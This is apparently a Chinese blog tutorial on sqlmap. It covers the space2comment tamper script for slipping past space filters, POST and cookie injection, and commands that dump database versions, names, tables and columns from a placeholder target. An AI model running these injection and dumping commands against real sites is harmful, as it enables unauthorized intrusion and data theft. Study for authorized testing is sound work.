首页 > 数据库 >sqlmap过滤连续空格的方法

sqlmap过滤连续空格的方法

时间:2024-01-25 17:36:45浏览次数:29  
标签:sqlmap http -- 数据库 space2comment 空格 获取 过滤

sqlmap过滤连续空格的方法_数据库

一、指定脚本

tamper=space2comment是SQLMAP的一个参数,用于指定使用space2comment.py脚本进行注入测试时的数据处理方式。具体来说,space2comment.py脚本的作用是将SQLMAP检测目标时所使用的payload中的空格全部替换成注释。通过使用这个参数,可以增加注入测试的成功率。

范例:<<引用:–>sqlmap->tamper,选中space2comment.py文件,并打开(记事本也可以) 。 引用:这段代码为space2comment.py脚本文件的核心代码,其作用是将SQLMAP检测目标时所使用的payload 中的空格全部替换成注释。 2.启动SQLMAP 。 请回答我或者给我介绍或演示一下:–tamper=space2comment是什么意思? tamper=space2comment是SQLMAP的一个参数,用于指定使用space2comment.py脚本进行注入测试时的数据处理方式。具体来说,space2comment.py脚本的作用是将SQLMAP检测目标时所使用的payload中的空格全部替换成注释。通过使用这个参数,可以增加注入测试的成功率。你可以按照以下步骤来使用这个参数:

  1. 打开SQLMAP。
  2. 在命令行中输入--tamper=space2comment
  3. SQLMAP将使用space2comment.py脚本对注入测试的payload进行处理,将其中的空格替换成注释。
  4. 运行注入测试,以提高成功率。

二、post请求

检测「post请求」的注入点,使用BP等工具「抓包」,将http请求内容保存到txt文件中。

-r 指定需要检测的文件,SQLmap会通过post请求方式检测目标。

sqlmap -r bp.txt

三、cookie注入

--cookie 指定cookie的值,单/双引号包裹。

sqlmap -u "http://xx?id=x" --cookie 'cookie'

四、脱库

获取所有内容

sqlmap -u 'http://xx/?id=1' -a

-a 就是 all 的意思,获取所有能获取的内容,会消耗很长时间。

sqlmap过滤连续空格的方法_数据库_02

1、获取数据库

--dbs 获取数据库

1、获取数据库版本

sqlmap -u 'http://xx/?id=1' -b

sqlmap过滤连续空格的方法_获取数据_03

最后面显示数据库的版本,这里检测的版本是 5.7.26。

sqlmap过滤连续空格的方法_获取数据_04

2、获取当前使用的数据库

sqlmap -u 'http://xx/?id=1' --current-db

sqlmap过滤连续空格的方法_sql_05

在最后面显示当前使用的数据库的名字是 security。

 

sqlmap过滤连续空格的方法_sql_06

3、获取所有数据库

sqlmap -u 'http://xx/?id=1' --dbs

sqlmap过滤连续空格的方法_sql_07

最后面显示所有数据库的名字。

sqlmap过滤连续空格的方法_sql_08

4、获取表

--tables 获取表

4.1获取表,可以指定数据库
sqlmap -u 'http://xx/?id=1' -D 'security' --tables

sqlmap过滤连续空格的方法_获取数据_09

最后面显示数据库(security)里所有的表名。

sqlmap过滤连续空格的方法_sql_10

4.2同时获取多个库的表名,库名用逗号分隔。
sqlmap -u 'http://xx/?id=1' -D 'security,sys' --tables

sqlmap过滤连续空格的方法_获取数据_11

4.3不指定数据库,默认获取数据库中所有的表
sqlmap -u 'http://xx/?id=1' --tables

sqlmap过滤连续空格的方法_数据库_12

最后面显示每个数据库下都有哪些表。

5、获取字段

--columns 参数用来获取字段。

3.1、获取字段,可以指定库和表

提示:只指定库名但不指定表名会报错。

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --columns


标签:sqlmap,http,--,数据库,space2comment,空格,获取,过滤
From: https://blog.51cto.com/zhuzhuxia/9416081

相关文章

  • Vue2入门之超详细教程十六-过滤器
    Vue2入门之超详细教程十六-过滤器1、简介过滤器定义:对要显示的数据进行特点格式化后再显示(适用于一些简单逻辑的处理)语法:1.注册过滤器:Vue.filter(name,callback)或newVue(filters:{})2.使用过滤器:{{xxx|郭琪琪名}}或v-bind:属性="xxx|过滤器名称"备注:1.过......
  • fiddleer - Filters 网页过滤
     Fiddler工具—Fiddler过滤器(Filters)详解1、Filters介绍Filters:过滤器,帮助我们过滤请求。如果需要过滤掉与测试项目无关的抓包请求,更加精准的展现抓到的请求,而不是杂乱的一堆,那功能强大的Filters过滤器能帮到你。总结:Filters过滤器的作用,过滤出我们想要的请求......
  • Java web的过滤器Filter
    注:来自《JavaWeb入门经典》一书,仅供参考和学习。1.过滤器的核心对象2.创建并配置过滤器......
  • 读论文-基于注意力机制的对抗性协同过滤推荐算法
    前言今天读的论文为一篇名叫《基于注意力机制的对抗性协同过滤推荐算法》,文中主要介绍了一种基于相关注意力的协同过滤推荐算法,该算法结合深度学习中的注意力机制为不同物品分配不同的权值来捕获与目标物品最相关的物品,探索不同物品的权重对模型预测的影响并以此提升推荐的准确......
  • 基于项目的协同过滤推荐算法(Item-Based Collaborative Filtering Recommendation Alg
    前言协同过滤推荐系统,包括基于用户的、基于项目的息肉通过率等,今天我们读一篇基于项目的协同过滤算法的论文。今天读的论文为一篇名叫《基于项目的协同过滤推荐算法》(Item-BasedCollaborativeFilteringRecommendationAlgorithms)。摘要Recommendersystemsapplyknowledg......
  • CTFHUB-综合过滤练习
    前言靶场地址:www.ctfhub.com综合过滤练习点击查看代码<?php$res=FALSE;if(isset($_GET['ip'])&&$_GET['ip']){$ip=$_GET['ip'];$m=[];if(!preg_match_all("/(\||&|;||\/|cat|flag|ctfhub)/",$......
  • lightdb 允许常用比较操作符之前存在空格
    背景在Oracle中,>=,<=,!=,<>操作符字符之间允许存在空格。为兼容这种特性,LightDB24.1中对这些比较操作符作了特殊处理。用例selectcount(*)fromdualwhere1>=1;selectcount(*)fromdualwhere1<=1;selectcount(*)fromdualwhere1!=2;s......
  • 推荐系统-协同过滤
    前言今天继续读论文,今天读的文章是一篇1997年发表于CommunicationsoftheACM上的论文,名叫推荐系统(Recommendersystems),全文及翻译ITISOFTENNECESSARYTOMAKECHOICESWITHOUTSUFFICIENTpersonalexperienceofthealternatives.Ineverydaylife,werelyonreco......
  • Java如何过滤掉一段字符串中出现重复的字母或数字?
    可以使用Java中的HashSet来去除一段字符串中出现重复的字母或数字。HashSet是一个不允许有重复元素的集合,因此可以利用它的特性来去除重复的字符或数字。示例代码如下:importjava.util.HashSet;publicclassRemoveDuplicates{publicstaticvoidmain(String[]args){......
  • springboot项目结合filter,jdk代理实现敏感词过滤(简单版)
    我们对getParameter()这个方法得到的参数进行敏感词过滤。实现思路:利用过滤器拦截所有的路径请求同时在在过滤器执行的时候对getParameter得到的value值进行过滤。最后呢,到我们自己的实现的逻辑中呢?这个value值就被我们做过处理了。1:自定义的过滤配置文件把文件位置放在resource下的......